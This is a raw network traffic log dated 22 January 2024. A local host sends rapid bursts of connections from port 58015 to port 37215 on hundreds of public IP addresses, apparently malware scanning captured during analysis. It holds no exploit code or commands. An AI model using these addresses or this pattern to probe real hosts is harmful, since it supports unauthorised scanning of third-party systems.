Jan 22, 2024 03:59:52.684653044 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:52.697170973 CET	37215	58015	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:52.697513103 CET	58015	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:52.706010103 CET	37215	58015	154.147.217.218	192.168.2.20
Jan 22, 2024 03:59:52.719736099 CET	37215	58015	41.45.169.242	192.168.2.20
Jan 22, 2024 03:59:52.739794016 CET	37215	58015	41.203.222.94	192.168.2.20
Jan 22, 2024 03:59:52.769587040 CET	37215	58015	121.229.100.22	192.168.2.20
Jan 22, 2024 03:59:52.821587086 CET	37215	58015	41.63.1.130	192.168.2.20
Jan 22, 2024 03:59:53.424681902 CET	50308	37215	192.168.2.20	156.73.158.59
Jan 22, 2024 03:59:53.427264929 CET	37215	58015	120.118.143.3	192.168.2.20
Jan 22, 2024 03:59:53.428795099 CET	58015	37215	192.168.2.20	156.182.112.132
Jan 22, 2024 03:59:53.428834915 CET	58015	37215	192.168.2.20	181.180.107.163
Jan 22, 2024 03:59:53.428869963 CET	58015	37215	192.168.2.20	156.174.69.244
Jan 22, 2024 03:59:53.428953886 CET	58015	37215	192.168.2.20	120.14.18.175
Jan 22, 2024 03:59:53.429066896 CET	58015	37215	192.168.2.20	197.73.38.250
Jan 22, 2024 03:59:53.429121017 CET	58015	37215	192.168.2.20	41.72.65.7
Jan 22, 2024 03:59:53.429137945 CET	58015	37215	192.168.2.20	45.179.230.151
Jan 22, 2024 03:59:53.429203987 CET	58015	37215	192.168.2.20	190.91.115.169
Jan 22, 2024 03:59:53.429275036 CET	58015	37215	192.168.2.20	156.102.226.230
Jan 22, 2024 03:59:53.429339886 CET	58015	37215	192.168.2.20	41.174.244.109
Jan 22, 2024 03:59:53.429400921 CET	58015	37215	192.168.2.20	41.167.154.17
Jan 22, 2024 03:59:53.429542065 CET	58015	37215	192.168.2.20	41.247.88.8
Jan 22, 2024 03:59:53.429588079 CET	58015	37215	192.168.2.20	95.1.66.231
Jan 22, 2024 03:59:53.429608107 CET	58015	37215	192.168.2.20	181.8.53.183
Jan 22, 2024 03:59:53.429672956 CET	58015	37215	192.168.2.20	156.33.93.37
Jan 22, 2024 03:59:53.429802895 CET	58015	37215	192.168.2.20	156.119.110.38
Jan 22, 2024 03:59:53.429814100 CET	58015	37215	192.168.2.20	41.105.163.228
Jan 22, 2024 03:59:53.429867983 CET	58015	37215	192.168.2.20	37.214.190.203
Jan 22, 2024 03:59:53.429936886 CET	58015	37215	192.168.2.20	181.80.199.127
Jan 22, 2024 03:59:53.430002928 CET	58015	37215	192.168.2.20	120.115.162.199
Jan 22, 2024 03:59:53.430080891 CET	58015	37215	192.168.2.20	156.223.97.150
Jan 22, 2024 03:59:53.430155039 CET	58015	37215	192.168.2.20	186.15.196.86
Jan 22, 2024 03:59:53.430212975 CET	58015	37215	192.168.2.20	197.162.77.153
Jan 22, 2024 03:59:53.430283070 CET	58015	37215	192.168.2.20	121.227.140.241
Jan 22, 2024 03:59:53.430332899 CET	58015	37215	192.168.2.20	197.59.92.48
Jan 22, 2024 03:59:53.430526018 CET	58015	37215	192.168.2.20	41.196.73.238
Jan 22, 2024 03:59:53.430541039 CET	58015	37215	192.168.2.20	156.155.177.60
Jan 22, 2024 03:59:53.430602074 CET	58015	37215	192.168.2.20	181.206.161.216
Jan 22, 2024 03:59:53.430655956 CET	58015	37215	192.168.2.20	157.224.102.44
Jan 22, 2024 03:59:53.430665970 CET	58015	37215	192.168.2.20	41.157.90.131
Jan 22, 2024 03:59:53.430744886 CET	58015	37215	192.168.2.20	120.63.73.59
Jan 22, 2024 03:59:53.430866003 CET	58015	37215	192.168.2.20	197.2.110.95
Jan 22, 2024 03:59:53.430951118 CET	58015	37215	192.168.2.20	197.195.91.236
Jan 22, 2024 03:59:53.431000948 CET	58015	37215	192.168.2.20	156.2.218.73
Jan 22, 2024 03:59:53.431008101 CET	58015	37215	192.168.2.20	197.204.61.151
Jan 22, 2024 03:59:53.431133986 CET	58015	37215	192.168.2.20	121.22.95.71
Jan 22, 2024 03:59:53.431143045 CET	58015	37215	192.168.2.20	41.182.131.107
Jan 22, 2024 03:59:53.431196928 CET	58015	37215	192.168.2.20	41.42.9.93
Jan 22, 2024 03:59:53.431272030 CET	58015	37215	192.168.2.20	190.28.254.112
Jan 22, 2024 03:59:53.431328058 CET	58015	37215	192.168.2.20	156.16.104.16
Jan 22, 2024 03:59:53.431401968 CET	58015	37215	192.168.2.20	157.240.100.211
Jan 22, 2024 03:59:53.431463957 CET	58015	37215	192.168.2.20	41.104.111.205
Jan 22, 2024 03:59:53.431525946 CET	58015	37215	192.168.2.20	156.199.118.108
Jan 22, 2024 03:59:53.431601048 CET	58015	37215	192.168.2.20	92.167.214.237
Jan 22, 2024 03:59:53.431680918 CET	58015	37215	192.168.2.20	41.81.19.245
Jan 22, 2024 03:59:53.431730032 CET	58015	37215	192.168.2.20	160.188.133.178
Jan 22, 2024 03:59:53.431802988 CET	58015	37215	192.168.2.20	121.19.71.136
Jan 22, 2024 03:59:53.431866884 CET	58015	37215	192.168.2.20	156.178.126.240
Jan 22, 2024 03:59:53.431931973 CET	58015	37215	192.168.2.20	197.151.49.43
Jan 22, 2024 03:59:53.431996107 CET	58015	37215	192.168.2.20	41.17.115.91
Jan 22, 2024 03:59:53.432063103 CET	58015	37215	192.168.2.20	197.169.184.31
Jan 22, 2024 03:59:53.432132959 CET	58015	37215	192.168.2.20	197.218.10.25
Jan 22, 2024 03:59:53.432198048 CET	58015	37215	192.168.2.20	197.250.102.77
Jan 22, 2024 03:59:53.432265043 CET	58015	37215	192.168.2.20	197.152.93.96
Jan 22, 2024 03:59:53.432334900 CET	58015	37215	192.168.2.20	41.188.55.231
Jan 22, 2024 03:59:53.432396889 CET	58015	37215	192.168.2.20	156.98.150.47
Jan 22, 2024 03:59:53.432482004 CET	58015	37215	192.168.2.20	156.162.217.16
Jan 22, 2024 03:59:53.432549000 CET	58015	37215	192.168.2.20	197.227.230.32
Jan 22, 2024 03:59:53.432609081 CET	58015	37215	192.168.2.20	197.38.150.116
Jan 22, 2024 03:59:53.432678938 CET	58015	37215	192.168.2.20	156.217.133.9
Jan 22, 2024 03:59:53.432746887 CET	58015	37215	192.168.2.20	41.100.207.35
Jan 22, 2024 03:59:53.432827950 CET	58015	37215	192.168.2.20	156.78.15.43
Jan 22, 2024 03:59:53.432873011 CET	58015	37215	192.168.2.20	41.71.118.17
Jan 22, 2024 03:59:53.433016062 CET	58015	37215	192.168.2.20	197.88.58.162
Jan 22, 2024 03:59:53.433054924 CET	58015	37215	192.168.2.20	41.154.19.101
Jan 22, 2024 03:59:53.433136940 CET	58015	37215	192.168.2.20	37.96.157.89
Jan 22, 2024 03:59:53.433152914 CET	58015	37215	192.168.2.20	154.163.187.141
Jan 22, 2024 03:59:53.433207989 CET	58015	37215	192.168.2.20	190.104.172.199
Jan 22, 2024 03:59:53.433269024 CET	58015	37215	192.168.2.20	102.20.103.32
Jan 22, 2024 03:59:53.433345079 CET	58015	37215	192.168.2.20	156.14.195.54
Jan 22, 2024 03:59:53.433398962 CET	58015	37215	192.168.2.20	156.230.169.145
Jan 22, 2024 03:59:53.433468103 CET	58015	37215	192.168.2.20	41.64.18.233
Jan 22, 2024 03:59:53.433532953 CET	58015	37215	192.168.2.20	156.242.145.102
Jan 22, 2024 03:59:53.433607101 CET	58015	37215	192.168.2.20	120.26.233.54
Jan 22, 2024 03:59:53.433666945 CET	58015	37215	192.168.2.20	156.13.35.231
Jan 22, 2024 03:59:53.433733940 CET	58015	37215	192.168.2.20	186.194.140.123
Jan 22, 2024 03:59:53.433804989 CET	58015	37215	192.168.2.20	156.10.137.35
Jan 22, 2024 03:59:53.433861971 CET	58015	37215	192.168.2.20	197.191.84.123
Jan 22, 2024 03:59:53.433938026 CET	58015	37215	192.168.2.20	45.38.106.254
Jan 22, 2024 03:59:53.434004068 CET	58015	37215	192.168.2.20	160.209.20.242
Jan 22, 2024 03:59:53.434070110 CET	58015	37215	192.168.2.20	197.162.24.129
Jan 22, 2024 03:59:53.434135914 CET	58015	37215	192.168.2.20	92.229.33.179
Jan 22, 2024 03:59:53.434200048 CET	58015	37215	192.168.2.20	156.254.104.92
Jan 22, 2024 03:59:53.434264898 CET	58015	37215	192.168.2.20	41.55.187.213
Jan 22, 2024 03:59:53.434329033 CET	58015	37215	192.168.2.20	45.197.56.42
Jan 22, 2024 03:59:53.434391022 CET	58015	37215	192.168.2.20	41.188.137.34
Jan 22, 2024 03:59:53.434463978 CET	58015	37215	192.168.2.20	138.109.225.199
Jan 22, 2024 03:59:53.434541941 CET	58015	37215	192.168.2.20	197.254.116.37
Jan 22, 2024 03:59:53.434587955 CET	58015	37215	192.168.2.20	41.21.60.75
Jan 22, 2024 03:59:53.434659004 CET	58015	37215	192.168.2.20	41.249.100.175
Jan 22, 2024 03:59:53.434720039 CET	58015	37215	192.168.2.20	94.125.183.130
Jan 22, 2024 03:59:53.434786081 CET	58015	37215	192.168.2.20	197.167.100.146
Jan 22, 2024 03:59:53.434859037 CET	58015	37215	192.168.2.20	156.31.90.18
Jan 22, 2024 03:59:53.434923887 CET	58015	37215	192.168.2.20	41.147.85.50
Jan 22, 2024 03:59:53.434997082 CET	58015	37215	192.168.2.20	156.141.40.216
Jan 22, 2024 03:59:53.435061932 CET	58015	37215	192.168.2.20	197.54.225.215
Jan 22, 2024 03:59:53.435127974 CET	58015	37215	192.168.2.20	197.70.189.118
Jan 22, 2024 03:59:53.435194016 CET	58015	37215	192.168.2.20	41.161.207.15
Jan 22, 2024 03:59:53.435261011 CET	58015	37215	192.168.2.20	41.131.231.111
Jan 22, 2024 03:59:53.435326099 CET	58015	37215	192.168.2.20	222.88.249.175
Jan 22, 2024 03:59:53.435389996 CET	58015	37215	192.168.2.20	157.141.120.192
Jan 22, 2024 03:59:53.435446978 CET	58015	37215	192.168.2.20	197.238.218.130
Jan 22, 2024 03:59:53.435522079 CET	58015	37215	192.168.2.20	156.121.81.215
Jan 22, 2024 03:59:53.435585976 CET	58015	37215	192.168.2.20	156.106.221.149
Jan 22, 2024 03:59:53.435657978 CET	58015	37215	192.168.2.20	121.62.2.57
Jan 22, 2024 03:59:53.435710907 CET	58015	37215	192.168.2.20	197.227.240.58
Jan 22, 2024 03:59:53.435785055 CET	58015	37215	192.168.2.20	41.152.208.116
Jan 22, 2024 03:59:53.435853958 CET	58015	37215	192.168.2.20	186.243.180.86
Jan 22, 2024 03:59:53.435920000 CET	58015	37215	192.168.2.20	154.143.196.110
Jan 22, 2024 03:59:53.435977936 CET	58015	37215	192.168.2.20	156.83.29.33
Jan 22, 2024 03:59:53.436058044 CET	58015	37215	192.168.2.20	157.135.4.201
Jan 22, 2024 03:59:53.436117887 CET	58015	37215	192.168.2.20	160.164.209.85
Jan 22, 2024 03:59:53.436182976 CET	58015	37215	192.168.2.20	197.24.161.208
Jan 22, 2024 03:59:53.436249018 CET	58015	37215	192.168.2.20	197.155.119.194
Jan 22, 2024 03:59:53.436312914 CET	58015	37215	192.168.2.20	160.177.158.244
Jan 22, 2024 03:59:53.436378956 CET	58015	37215	192.168.2.20	41.112.142.59
Jan 22, 2024 03:59:53.436453104 CET	58015	37215	192.168.2.20	156.91.6.61
Jan 22, 2024 03:59:53.436526060 CET	58015	37215	192.168.2.20	197.207.136.64
Jan 22, 2024 03:59:53.436592102 CET	58015	37215	192.168.2.20	41.37.126.82
Jan 22, 2024 03:59:53.436657906 CET	58015	37215	192.168.2.20	41.74.118.61
Jan 22, 2024 03:59:53.436724901 CET	58015	37215	192.168.2.20	37.198.33.47
Jan 22, 2024 03:59:53.436789989 CET	58015	37215	192.168.2.20	156.107.212.155
Jan 22, 2024 03:59:53.436849117 CET	58015	37215	192.168.2.20	156.201.246.181
Jan 22, 2024 03:59:53.436920881 CET	58015	37215	192.168.2.20	41.230.133.229
Jan 22, 2024 03:59:53.436980963 CET	58015	37215	192.168.2.20	41.236.109.86
Jan 22, 2024 03:59:53.437055111 CET	58015	37215	192.168.2.20	94.2.144.94
Jan 22, 2024 03:59:53.437119961 CET	58015	37215	192.168.2.20	156.16.6.14
Jan 22, 2024 03:59:53.437184095 CET	58015	37215	192.168.2.20	197.84.248.72
Jan 22, 2024 03:59:53.437243938 CET	58015	37215	192.168.2.20	197.165.88.52
Jan 22, 2024 03:59:53.437310934 CET	58015	37215	192.168.2.20	197.21.248.210
Jan 22, 2024 03:59:53.437386990 CET	58015	37215	192.168.2.20	41.237.86.238
Jan 22, 2024 03:59:53.437448978 CET	58015	37215	192.168.2.20	197.141.255.244
Jan 22, 2024 03:59:53.437510014 CET	58015	37215	192.168.2.20	197.45.22.40
Jan 22, 2024 03:59:53.437582016 CET	58015	37215	192.168.2.20	156.123.112.236
Jan 22, 2024 03:59:53.437649965 CET	58015	37215	192.168.2.20	107.25.203.6
Jan 22, 2024 03:59:53.437714100 CET	58015	37215	192.168.2.20	41.84.185.214
Jan 22, 2024 03:59:53.437781096 CET	58015	37215	192.168.2.20	121.165.153.35
Jan 22, 2024 03:59:53.437839031 CET	58015	37215	192.168.2.20	156.228.242.209
Jan 22, 2024 03:59:53.437922001 CET	58015	37215	192.168.2.20	156.139.25.50
Jan 22, 2024 03:59:53.437975883 CET	58015	37215	192.168.2.20	92.155.130.165
Jan 22, 2024 03:59:53.438043118 CET	58015	37215	192.168.2.20	41.41.35.103
Jan 22, 2024 03:59:53.438111067 CET	58015	37215	192.168.2.20	41.2.118.65
Jan 22, 2024 03:59:53.438172102 CET	58015	37215	192.168.2.20	156.192.89.78
Jan 22, 2024 03:59:53.438235998 CET	58015	37215	192.168.2.20	138.153.104.136
Jan 22, 2024 03:59:53.438302040 CET	58015	37215	192.168.2.20	154.217.168.142
Jan 22, 2024 03:59:53.438374996 CET	58015	37215	192.168.2.20	41.214.28.195
Jan 22, 2024 03:59:53.438438892 CET	58015	37215	192.168.2.20	156.252.86.248
Jan 22, 2024 03:59:53.438498974 CET	58015	37215	192.168.2.20	197.106.246.255
Jan 22, 2024 03:59:53.438570023 CET	58015	37215	192.168.2.20	197.250.45.46
Jan 22, 2024 03:59:53.438646078 CET	58015	37215	192.168.2.20	222.20.148.213
Jan 22, 2024 03:59:53.438711882 CET	58015	37215	192.168.2.20	156.215.199.208
Jan 22, 2024 03:59:53.438780069 CET	58015	37215	192.168.2.20	156.254.146.38
Jan 22, 2024 03:59:53.438839912 CET	58015	37215	192.168.2.20	156.56.177.98
Jan 22, 2024 03:59:53.438900948 CET	58015	37215	192.168.2.20	197.46.141.57
Jan 22, 2024 03:59:53.438966990 CET	58015	37215	192.168.2.20	41.232.109.73
Jan 22, 2024 03:59:53.439040899 CET	58015	37215	192.168.2.20	122.114.151.74
Jan 22, 2024 03:59:53.439106941 CET	58015	37215	192.168.2.20	41.50.174.243
Jan 22, 2024 03:59:53.439172029 CET	58015	37215	192.168.2.20	156.60.13.192
Jan 22, 2024 03:59:53.439239025 CET	58015	37215	192.168.2.20	37.7.84.204
Jan 22, 2024 03:59:53.439305067 CET	58015	37215	192.168.2.20	156.146.113.125
Jan 22, 2024 03:59:53.439369917 CET	58015	37215	192.168.2.20	196.244.138.33
Jan 22, 2024 03:59:53.439438105 CET	58015	37215	192.168.2.20	156.126.135.242
Jan 22, 2024 03:59:53.439496994 CET	58015	37215	192.168.2.20	197.79.22.198
Jan 22, 2024 03:59:53.439567089 CET	58015	37215	192.168.2.20	197.53.121.22
Jan 22, 2024 03:59:53.439634085 CET	58015	37215	192.168.2.20	197.62.16.110
Jan 22, 2024 03:59:53.439693928 CET	58015	37215	192.168.2.20	197.133.1.55
Jan 22, 2024 03:59:53.439768076 CET	58015	37215	192.168.2.20	41.214.194.15
Jan 22, 2024 03:59:53.439841032 CET	58015	37215	192.168.2.20	190.247.50.15
Jan 22, 2024 03:59:53.439893961 CET	58015	37215	192.168.2.20	122.33.195.136
Jan 22, 2024 03:59:53.439968109 CET	58015	37215	192.168.2.20	157.51.111.34
Jan 22, 2024 03:59:53.440033913 CET	58015	37215	192.168.2.20	156.151.15.81
Jan 22, 2024 03:59:53.440093040 CET	58015	37215	192.168.2.20	41.77.17.8
Jan 22, 2024 03:59:53.440157890 CET	58015	37215	192.168.2.20	156.56.230.246
Jan 22, 2024 03:59:53.440232038 CET	58015	37215	192.168.2.20	95.15.214.124
Jan 22, 2024 03:59:53.440293074 CET	58015	37215	192.168.2.20	197.97.245.64
Jan 22, 2024 03:59:53.440366030 CET	58015	37215	192.168.2.20	156.17.125.99
Jan 22, 2024 03:59:53.440423012 CET	58015	37215	192.168.2.20	197.114.45.12
Jan 22, 2024 03:59:53.440501928 CET	58015	37215	192.168.2.20	45.10.219.81
Jan 22, 2024 03:59:53.440567017 CET	58015	37215	192.168.2.20	186.38.7.227
Jan 22, 2024 03:59:53.440634012 CET	58015	37215	192.168.2.20	197.42.128.151
Jan 22, 2024 03:59:53.440707922 CET	58015	37215	192.168.2.20	197.69.3.168
Jan 22, 2024 03:59:53.440773010 CET	58015	37215	192.168.2.20	197.7.238.80
Jan 22, 2024 03:59:53.440840006 CET	58015	37215	192.168.2.20	186.56.184.158
Jan 22, 2024 03:59:53.440902948 CET	58015	37215	192.168.2.20	197.225.206.108
Jan 22, 2024 03:59:53.440967083 CET	58015	37215	192.168.2.20	107.42.212.100
Jan 22, 2024 03:59:53.441040993 CET	58015	37215	192.168.2.20	197.121.10.22
Jan 22, 2024 03:59:53.441126108 CET	58015	37215	192.168.2.20	197.220.81.105
Jan 22, 2024 03:59:53.441171885 CET	58015	37215	192.168.2.20	41.48.167.219
Jan 22, 2024 03:59:53.441242933 CET	58015	37215	192.168.2.20	197.2.88.56
Jan 22, 2024 03:59:53.441306114 CET	58015	37215	192.168.2.20	95.27.176.246
Jan 22, 2024 03:59:53.441373110 CET	58015	37215	192.168.2.20	222.17.112.232
Jan 22, 2024 03:59:53.441430092 CET	58015	37215	192.168.2.20	41.52.13.140
Jan 22, 2024 03:59:53.441505909 CET	58015	37215	192.168.2.20	41.62.191.138
Jan 22, 2024 03:59:53.441560030 CET	58015	37215	192.168.2.20	94.175.57.221
Jan 22, 2024 03:59:53.441637039 CET	58015	37215	192.168.2.20	181.55.244.94
Jan 22, 2024 03:59:53.441704035 CET	58015	37215	192.168.2.20	154.11.17.75
Jan 22, 2024 03:59:53.441761017 CET	58015	37215	192.168.2.20	37.232.34.15
Jan 22, 2024 03:59:53.441836119 CET	58015	37215	192.168.2.20	157.82.137.144
Jan 22, 2024 03:59:53.441951990 CET	58015	37215	192.168.2.20	156.211.188.86
Jan 22, 2024 03:59:53.441966057 CET	58015	37215	192.168.2.20	41.38.38.156
Jan 22, 2024 03:59:53.442033052 CET	58015	37215	192.168.2.20	190.54.46.54
Jan 22, 2024 03:59:53.442096949 CET	58015	37215	192.168.2.20	107.75.221.97
Jan 22, 2024 03:59:53.442167044 CET	58015	37215	192.168.2.20	92.57.186.66
Jan 22, 2024 03:59:53.442224979 CET	58015	37215	192.168.2.20	41.234.215.74
Jan 22, 2024 03:59:53.442296028 CET	58015	37215	192.168.2.20	156.56.42.28
Jan 22, 2024 03:59:53.442434072 CET	58015	37215	192.168.2.20	197.143.91.210
Jan 22, 2024 03:59:53.442501068 CET	58015	37215	192.168.2.20	107.255.94.131
Jan 22, 2024 03:59:53.442569017 CET	58015	37215	192.168.2.20	41.7.17.18
Jan 22, 2024 03:59:53.442634106 CET	58015	37215	192.168.2.20	186.209.33.192
Jan 22, 2024 03:59:53.442692995 CET	58015	37215	192.168.2.20	122.32.56.160
Jan 22, 2024 03:59:53.442764997 CET	58015	37215	192.168.2.20	181.244.91.21
Jan 22, 2024 03:59:53.442835093 CET	58015	37215	192.168.2.20	138.51.171.16
Jan 22, 2024 03:59:53.442892075 CET	58015	37215	192.168.2.20	156.205.64.237
Jan 22, 2024 03:59:53.442966938 CET	58015	37215	192.168.2.20	138.29.45.98
Jan 22, 2024 03:59:53.443032026 CET	58015	37215	192.168.2.20	94.199.246.56
Jan 22, 2024 03:59:53.443099022 CET	58015	37215	192.168.2.20	41.88.198.163
Jan 22, 2024 03:59:53.443157911 CET	58015	37215	192.168.2.20	197.154.136.219
Jan 22, 2024 03:59:53.443231106 CET	58015	37215	192.168.2.20	197.59.25.103
Jan 22, 2024 03:59:53.443296909 CET	58015	37215	192.168.2.20	157.94.39.173
Jan 22, 2024 03:59:53.443339109 CET	58015	37215	192.168.2.20	41.38.68.90
Jan 22, 2024 03:59:53.443367004 CET	58015	37215	192.168.2.20	197.8.103.209
Jan 22, 2024 03:59:53.443389893 CET	58015	37215	192.168.2.20	156.103.157.228
Jan 22, 2024 03:59:53.443409920 CET	58015	37215	192.168.2.20	95.234.61.39
Jan 22, 2024 03:59:53.443435907 CET	58015	37215	192.168.2.20	197.211.134.167
Jan 22, 2024 03:59:53.443454027 CET	58015	37215	192.168.2.20	156.243.221.75
Jan 22, 2024 03:59:53.443464994 CET	58015	37215	192.168.2.20	156.86.43.251
Jan 22, 2024 03:59:53.443495989 CET	58015	37215	192.168.2.20	197.216.17.80
Jan 22, 2024 03:59:53.443506002 CET	58015	37215	192.168.2.20	197.47.75.35
Jan 22, 2024 03:59:53.443517923 CET	58015	37215	192.168.2.20	138.10.19.151
Jan 22, 2024 03:59:53.443533897 CET	58015	37215	192.168.2.20	186.250.78.127
Jan 22, 2024 03:59:53.443558931 CET	58015	37215	192.168.2.20	156.176.86.251
Jan 22, 2024 03:59:53.443589926 CET	58015	37215	192.168.2.20	41.64.181.23
Jan 22, 2024 03:59:53.443593979 CET	58015	37215	192.168.2.20	156.210.152.89
Jan 22, 2024 03:59:53.443615913 CET	58015	37215	192.168.2.20	156.172.204.27
Jan 22, 2024 03:59:53.443644047 CET	58015	37215	192.168.2.20	160.187.126.64
Jan 22, 2024 03:59:53.443645000 CET	58015	37215	192.168.2.20	156.21.181.254
Jan 22, 2024 03:59:53.443662882 CET	58015	37215	192.168.2.20	120.20.9.43
Jan 22, 2024 03:59:53.443686008 CET	58015	37215	192.168.2.20	197.200.193.182
Jan 22, 2024 03:59:53.443711042 CET	58015	37215	192.168.2.20	197.191.102.51
Jan 22, 2024 03:59:53.443726063 CET	58015	37215	192.168.2.20	156.56.243.230
Jan 22, 2024 03:59:53.443742990 CET	58015	37215	192.168.2.20	41.186.35.221
Jan 22, 2024 03:59:53.443753004 CET	58015	37215	192.168.2.20	197.170.196.156
Jan 22, 2024 03:59:53.443772078 CET	58015	37215	192.168.2.20	197.60.78.231
Jan 22, 2024 03:59:53.443795919 CET	58015	37215	192.168.2.20	41.243.16.242
Jan 22, 2024 03:59:53.443814993 CET	58015	37215	192.168.2.20	120.167.205.175
Jan 22, 2024 03:59:53.443834066 CET	58015	37215	192.168.2.20	92.169.197.74
Jan 22, 2024 03:59:53.443845034 CET	58015	37215	192.168.2.20	41.182.40.154
Jan 22, 2024 03:59:53.443869114 CET	58015	37215	192.168.2.20	41.122.81.124
Jan 22, 2024 03:59:53.443881035 CET	58015	37215	192.168.2.20	41.255.51.72
Jan 22, 2024 03:59:53.443902016 CET	58015	37215	192.168.2.20	160.146.197.179
Jan 22, 2024 03:59:53.443917036 CET	58015	37215	192.168.2.20	197.158.175.118
Jan 22, 2024 03:59:53.443942070 CET	58015	37215	192.168.2.20	190.22.219.120
Jan 22, 2024 03:59:53.443958998 CET	58015	37215	192.168.2.20	186.187.19.124
Jan 22, 2024 03:59:53.443977118 CET	58015	37215	192.168.2.20	120.14.212.25
Jan 22, 2024 03:59:53.444000959 CET	58015	37215	192.168.2.20	41.85.103.84
Jan 22, 2024 03:59:53.444006920 CET	58015	37215	192.168.2.20	156.228.152.119
Jan 22, 2024 03:59:53.444020987 CET	58015	37215	192.168.2.20	41.177.148.143
Jan 22, 2024 03:59:53.444050074 CET	58015	37215	192.168.2.20	122.28.193.120
Jan 22, 2024 03:59:53.444068909 CET	58015	37215	192.168.2.20	156.192.28.75
Jan 22, 2024 03:59:53.444094896 CET	58015	37215	192.168.2.20	41.161.30.0
Jan 22, 2024 03:59:53.444097042 CET	58015	37215	192.168.2.20	222.213.141.48
Jan 22, 2024 03:59:53.444116116 CET	58015	37215	192.168.2.20	41.114.249.207
Jan 22, 2024 03:59:53.444132090 CET	58015	37215	192.168.2.20	156.23.56.81
Jan 22, 2024 03:59:53.444154978 CET	58015	37215	192.168.2.20	197.255.231.242
Jan 22, 2024 03:59:53.444166899 CET	58015	37215	192.168.2.20	197.199.8.86
Jan 22, 2024 03:59:53.444195032 CET	58015	37215	192.168.2.20	197.192.230.159
Jan 22, 2024 03:59:53.444220066 CET	58015	37215	192.168.2.20	102.162.230.63
Jan 22, 2024 03:59:53.444233894 CET	58015	37215	192.168.2.20	102.62.142.99
Jan 22, 2024 03:59:53.444242001 CET	58015	37215	192.168.2.20	197.36.230.250
Jan 22, 2024 03:59:53.444266081 CET	58015	37215	192.168.2.20	156.99.125.25
Jan 22, 2024 03:59:53.444282055 CET	58015	37215	192.168.2.20	197.221.200.18
Jan 22, 2024 03:59:53.444307089 CET	58015	37215	192.168.2.20	197.200.93.130
Jan 22, 2024 03:59:53.444319010 CET	58015	37215	192.168.2.20	156.76.229.135
Jan 22, 2024 03:59:53.444335938 CET	58015	37215	192.168.2.20	102.239.191.29
Jan 22, 2024 03:59:53.444356918 CET	58015	37215	192.168.2.20	157.205.123.249
Jan 22, 2024 03:59:53.444365978 CET	58015	37215	192.168.2.20	197.18.66.250
Jan 22, 2024 03:59:53.444386959 CET	58015	37215	192.168.2.20	95.226.14.31
Jan 22, 2024 03:59:53.444403887 CET	58015	37215	192.168.2.20	41.68.18.146
Jan 22, 2024 03:59:53.444426060 CET	58015	37215	192.168.2.20	197.32.253.147
Jan 22, 2024 03:59:53.444447994 CET	58015	37215	192.168.2.20	197.169.244.174
Jan 22, 2024 03:59:53.444461107 CET	58015	37215	192.168.2.20	197.26.153.3
Jan 22, 2024 03:59:53.444480896 CET	58015	37215	192.168.2.20	41.182.209.204
Jan 22, 2024 03:59:53.444506884 CET	58015	37215	192.168.2.20	41.207.142.215
Jan 22, 2024 03:59:53.444521904 CET	58015	37215	192.168.2.20	156.218.153.144
Jan 22, 2024 03:59:53.444533110 CET	58015	37215	192.168.2.20	197.83.182.32
Jan 22, 2024 03:59:53.444554090 CET	58015	37215	192.168.2.20	186.31.238.190
Jan 22, 2024 03:59:53.444569111 CET	58015	37215	192.168.2.20	41.194.54.179
Jan 22, 2024 03:59:53.444596052 CET	58015	37215	192.168.2.20	41.42.236.253
Jan 22, 2024 03:59:53.444606066 CET	58015	37215	192.168.2.20	197.133.76.149
Jan 22, 2024 03:59:53.444631100 CET	58015	37215	192.168.2.20	45.155.72.18
Jan 22, 2024 03:59:53.444650888 CET	58015	37215	192.168.2.20	160.115.175.198
Jan 22, 2024 03:59:53.444660902 CET	58015	37215	192.168.2.20	156.181.163.29
Jan 22, 2024 03:59:53.444684982 CET	58015	37215	192.168.2.20	156.0.106.233
Jan 22, 2024 03:59:53.444704056 CET	58015	37215	192.168.2.20	41.243.71.124
Jan 22, 2024 03:59:53.444714069 CET	58015	37215	192.168.2.20	156.142.143.183
Jan 22, 2024 03:59:53.444740057 CET	58015	37215	192.168.2.20	41.121.38.152
Jan 22, 2024 03:59:53.444756985 CET	58015	37215	192.168.2.20	122.240.192.41
Jan 22, 2024 03:59:53.444773912 CET	58015	37215	192.168.2.20	41.78.39.231
Jan 22, 2024 03:59:53.444791079 CET	58015	37215	192.168.2.20	190.198.89.85
Jan 22, 2024 03:59:53.444804907 CET	58015	37215	192.168.2.20	95.15.3.22
Jan 22, 2024 03:59:53.444822073 CET	58015	37215	192.168.2.20	41.91.141.205
Jan 22, 2024 03:59:53.444843054 CET	58015	37215	192.168.2.20	41.175.204.214
Jan 22, 2024 03:59:53.444860935 CET	58015	37215	192.168.2.20	95.222.217.230
Jan 22, 2024 03:59:53.444884062 CET	58015	37215	192.168.2.20	41.231.200.136
Jan 22, 2024 03:59:53.444901943 CET	58015	37215	192.168.2.20	41.249.59.70
Jan 22, 2024 03:59:53.444907904 CET	58015	37215	192.168.2.20	156.10.3.112
Jan 22, 2024 03:59:53.444926977 CET	58015	37215	192.168.2.20	107.193.6.121
Jan 22, 2024 03:59:53.444951057 CET	58015	37215	192.168.2.20	222.191.33.87
Jan 22, 2024 03:59:53.444956064 CET	58015	37215	192.168.2.20	156.2.168.26
Jan 22, 2024 03:59:53.444977999 CET	58015	37215	192.168.2.20	107.34.92.128
Jan 22, 2024 03:59:53.444988012 CET	58015	37215	192.168.2.20	138.163.23.191
Jan 22, 2024 03:59:53.445003033 CET	58015	37215	192.168.2.20	197.245.24.63
Jan 22, 2024 03:59:53.445027113 CET	58015	37215	192.168.2.20	156.5.57.224
Jan 22, 2024 03:59:53.445050955 CET	58015	37215	192.168.2.20	222.105.79.222
Jan 22, 2024 03:59:53.445065975 CET	58015	37215	192.168.2.20	41.65.113.38
Jan 22, 2024 03:59:53.445065975 CET	58015	37215	192.168.2.20	156.36.254.226
Jan 22, 2024 03:59:53.445082903 CET	58015	37215	192.168.2.20	156.197.79.115
Jan 22, 2024 03:59:53.445106983 CET	58015	37215	192.168.2.20	197.171.83.51
Jan 22, 2024 03:59:53.445116043 CET	58015	37215	192.168.2.20	197.166.233.253
Jan 22, 2024 03:59:53.445132017 CET	58015	37215	192.168.2.20	190.71.100.113
Jan 22, 2024 03:59:53.445151091 CET	58015	37215	192.168.2.20	37.104.105.172
Jan 22, 2024 03:59:53.445168972 CET	58015	37215	192.168.2.20	156.33.200.144
Jan 22, 2024 03:59:53.445195913 CET	58015	37215	192.168.2.20	156.159.74.9
